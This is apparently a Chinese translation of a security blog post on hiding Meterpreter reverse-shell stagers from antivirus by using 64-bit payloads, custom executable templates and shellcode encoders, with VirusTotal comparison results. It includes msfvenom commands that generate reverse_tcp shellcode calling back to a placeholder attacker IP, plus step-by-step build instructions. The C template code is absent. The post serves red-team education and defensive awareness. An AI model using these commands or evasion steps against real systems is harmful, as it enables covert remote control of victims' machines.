绕过杀毒软件的三种简单伪装技巧
警告: 本博文中引用的技术和工具可能已过时,不适用于当前情况。然而,这篇博文仍可作为学习机会,并可能更新或集成到现代工具和技术中。
自20世纪90年代以来,杀毒软件一直是防御计算机系统的关键组件。多年来,杀毒软件开始主导PC安全讨论,其他手段则被边缘化。赛门铁克和迈克菲等品牌不断争夺业务,各自声称拥有奇迹般的解决方案。
尽管你可能听到各种说法,但让我向你保证,杀毒软件已经失效。原因如下:
绕过杀毒软件非常简单
首先,检测恶意代码很困难。迄今为止,还没有人能够回答这个问题:这段代码会毁掉我的一天吗?然而,我们已经找到了如何回答这个问题:这段代码看起来像毁掉别人一天的东西吗?
如果我们想避免检测,只需在代码发送前给它加上胡子和单片眼镜。
他们永远不会看到我来
伪装恶意代码可以通过几种技术实现,但在讨论什么是好的伪装之前,我们先来看看恶意代码通常是什么样子。
外行人对Meterpreter的解释
根据Offensive Security的说法,“Meterpreter是一种高级、动态可扩展的有效载荷,使用内存中的DLL注入stager,并在运行时通过网络扩展。它通过stager套接字通信,并提供全面的客户端Ruby API。它具有命令历史记录、选项卡完成、通道等功能。”
更简单地说,“Meterpreter是一段可以在运行时加载更多代码的代码。它可以使用不同的方法与服务器通信,并且客户端可以由其他程序员扩展。”因此,攻击者经常使用Meterpreter来控制目标机器,并且由于该程序易于扩展,Meterpreter可以发起从键盘记录器到权限提升的一系列攻击。
Meterpreter与杀毒软件。战斗!
虽然杀毒软件可以检测到Meterpreter,但该程序背后的架构使其极难捕获。
通常情况下,Meterpreter由一个“stager”启动。stager的任务是在目标计算机和攻击者服务器之间建立通信。此外,它需要开始加载Meterpreter客户端的其余部分。由于这种逐段架构,只需要在目标计算机上部署stager,程序就可以运行。由于Meterpreter的其余部分可以从内存启动,只有stager需要偷偷绕过杀毒软件。
Shellcode
Meterpreter stager可以使用几种技术部署在目标计算机上。每种技术的核心是“shellcode”。对于Meterpreter stager,shellcode是实际完成stager目标的机器代码:建立通信并启动Meterpreter的其余部分。
shell code在我们网站上先前发布的几篇博文中都有使用。
在Brian的优秀帖子“如何绕过应用程序白名单和杀毒软件”中,他使用以下命令生成可以用C#编程语言执行的shellcode:
“msfvenom -p windows/meterpreter/reverse_tcp lhost=YOUR_IP lport=443 -f csharp > shellcode.txt”
此命令将以下混乱内容写入名为shellcode.txt的文件中。
什么?
我们看到的是十六进制数字列表,对应于创建Meterpreter stager所需的机器代码。具体来说,这个stager在TCP端口443上连接回攻击者的机器,并开始加载Meterpreter客户端的其余部分。
识别这种shellcode是杀毒产品识别恶意类似程序的一种方式。
模板
虽然每个人都喜欢谈论shellcode,但创建Meterpreter stager还有更多内容。shellcode必须由某些东西执行。老式漏洞利用通过将shellcode加载到易受攻击的程序中并强制程序执行它来工作。在网络钓鱼的情况下,shellcode可以嵌入VBA宏中,并在Microsoft Word、Excel和PowerPoint文档中运行。(查看Sally关于在PowerPoint中绕过杀毒软件的精彩帖子。)
在最简单的情况下,shellcode被放置在一个预制的模板中并由自身执行。默认情况下,MSFVenom(最常用于生成Meterpreter stager的程序)提供自己的模板。然而,正如Joff之前在这里解释的那样,这些模板可以被修改!
我们为什么要修改模板?简单来说,大多数杀毒产品检查用于执行shellcode的模板,而不是shellcode本身。
现在只需给他们假胡子!
伪装
到目前为止,我们已经确定了Meterpreter stager,并看到它由shellcode和模板组成。现在,让我们看看可用于隐藏stager的不同伪装。我们可以改变整个stager的架构,修改shellcode周围的模板,或者改变shellcode本身。每个更改都为伪装添加了新内容。一些更改会大大改变我们的可执行文件,其他更改只会轻微影响结果。我们将在帖子后面比较每种技术的有用性。
64位魔法
目前,Steam硬件调查显示,超过85%的用户运行64位操作系统。虽然这可能不代表商业领域,但这是64位操作系统变得越来越普遍的明显证据。
当针对64位操作系统时,我们可以选择部署32位或64位stager。虽然32位stager可以在任何现代Windows安装上工作,但64位stager更具规避性。使用64位stager本身并没有什么 inherently sneaky,但似乎为最常见的Meterpreter stager的64位变体编写的签名较少。
模板技巧
MSFVenom为Windows可执行文件提供两个默认模板:一个用于32位shellcode,另一个用于64位shellcode。这些模板本质上是空的.exe文件,并且对杀毒引擎来说是众所周知的。
遵循PE/COFF格式的Windows EXE文件由几个不同的部分组成,每个部分具有不同的权限。这些权限限制了在运行时读取、写入或执行数据的能力。例如,包含要执行的代码的部分(.text)通常在运行时不可写。
在创建Meterpreter stager时,MSFVenom将查看所使用的模板的默认可执行(.text)部分,如果有足够的空间,将shellcode插入其中。否则,MSFVenom将在.exe文件中创建一个新部分,将其标记为可执行,将shellcode放在那里,并修改可执行文件以从新部分开始。
然而,我们可以选择提供自己的EXE文件供程序修改,而不是使用MSFVenom的默认模板。这种技术的常见选择是每个Windows安装中包含的可执行文件,如write.exe和notepad.exe。默认情况下,模板可执行文件将不再正常功能,除非明确告诉MSFVenom在新线程中启动stager。
自己制作模板
除了修改现有可执行文件外,我们还可以选择编写自己的模板。在这种方法中,我们使用MSFVenom生成用于我们选择的编程语言的shellcode。(在以下示例中,我选择了C编程语言)。然后,我们将shellcode插入到自制的模板中,并告诉计算机执行代码。
分步说明:
首先,运行“msfvenom -p windows/meterpreter/reverse_tcp LHOST=<您的IP地址> LPORT=<您的监听端口> -f c > shell_code.c 2>&1”
您的shell_code.c文件应类似于以下内容:
接下来,打开Microsoft Visual Studio。如果您无法访问Visual Studio,可以从此处选择社区版获取免费副本。
现在,创建一个新的C/C++空项目,并将以下代码添加到新文件中。
|
|
现在,将payload字符串设置为shellcode文件中buf的内容,并将size变量设置为payload大小。
最后,在Visual Studio中单击构建。
如果您希望为64位架构编译,必须使用MSFVenom生成64位shellcode,并在Visual Studio中将编译架构设置为64位。
Shellcode编码器
除了改变stager的架构和模板外,我们还可以尝试伪装shellcode本身。MSFVenom能够使用其编码器系统通过可逆密码对stager的shellcode进行混淆。该系统最初是为了处理正在处理的shellcode中的不安全字符而创建的。然而,在研究杀毒规避技术时,编码器似乎是一个常见的建议。虽然它们的功效值得商榷,但有两种编码器被大量使用:用于32位shellcode的Shikata Ga Nai和用于64位shellcode的XOR编码。
多么英俊的一群
将所有内容整合在一起
现在我们已经选择了伪装,我们需要对它们进行测试。首先,我们需要选择要伪装的shellcode。Meterpreter stager的三种最常见shellcode是reverse_tcp、reverse_http和reverse_https。接下来,我们需要确定要测试多少种不同的伪装。我们可以选择32位或64位,使用默认模板或自定义模板,或者是否编码shellcode。总的来说,这导致需要测试二十四种不同的stager。
在生成所有二十四种stager并确保它们工作后,我通过Virus Total运行它们并绘制了结果。
如您所见,移动到自定义模板是最有效的伪装。然而,简单地将目标架构更改为64位就挫败了超过一半的测试杀毒引擎。当结合两种伪装时,我们的恶意软件滑过了每一个测试的引擎。
在32位stager的情况下,只有一个杀毒引擎能够检测到我们 wearing all three disguises 的恶意软件:奇虎360。即使如此,它也只是通过启发式被识别为一般恶意软件。
杀毒规避超出了本文讨论的技术。例如,您可以在shellcode组装成机器代码之前更改它,可以使用不同的编程语言创建模板,并且可以使用Veil规避套件的全部功能。杀毒软件仍然是蓝队工具带中有用的工具,但请注意,对于任何高级持久威胁,杀毒软件几乎已经失效。